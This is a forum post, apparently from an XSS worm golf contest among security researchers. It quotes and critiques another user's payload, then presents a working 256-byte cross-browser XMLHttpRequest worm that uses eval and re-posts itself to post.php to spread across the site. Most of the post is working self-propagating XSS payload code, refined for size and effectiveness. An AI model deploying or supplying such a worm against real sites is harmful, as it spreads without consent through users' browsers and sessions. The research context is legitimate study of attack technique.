Quote
Kyran<script>alert('xss');with(new XMLHttpRequest){open("POST","post.php");setRequestHeader('content-type','multipart/form-data');send('content=<script>'+innerHTML+'<\/script>')};</script>
What's wrong:
- innerHTML reference
- <\/script> will be translated to </script> when the worm propagate 1 time
- not encoding the content data
-
multipart/form-data does this actually work? I tried to strip down the Content-Type with testing against IIS, but I failed ... it is just the question which Content-Type's Apache works with ...
Anyway, your with() inspired me to use ;-) (before I didn't set my Content-Type so it wasn't shorter with with, but now it saves 1 whole byte).
I did some research on the Content-Type too, see the
W3C HTML 4.01 spec on Form content types (a page with more interesting specs about forms). If you use
multipart/form-data you have to do much more, like boundary's, etc.
The really inspiring post came from
dbloom:
Quote
dbloom[c=["%3"]+"E",(...)unescape(c)
BTW he did some more nice hacks.
Now I can write my
q=String.fromCharCode(34); as
q=unescape('%'+22); which saves an astonishing 7 bytes :-).
Making this the shortest crossbrowser (FF2/IE7) XMLHttpRequest worm till now:
<script>eval(y="alert('XSS');q=unescape('%'+22);with(new XMLHttpRequest()){open('POST','post.php');setRequestHeader('Content-Type','application/x-www-form-urlencoded');send('content='+encodeURIComponent('<script>eval(y='+q+y+q+')</sc'+'ript>'))}")</script>
256 bytes - nice number
BTW some nice improvements of the interface sirdarckcat
@tx/rsnake: I registered just for this interesting 'contest' and also learned some new tricks
@rsnake: in a real worm situation, the post.php would probably echo the vector again right? In all the <form> worm cases they loop indefinitely, would that be beneficial for the worm? (I don't think so ...)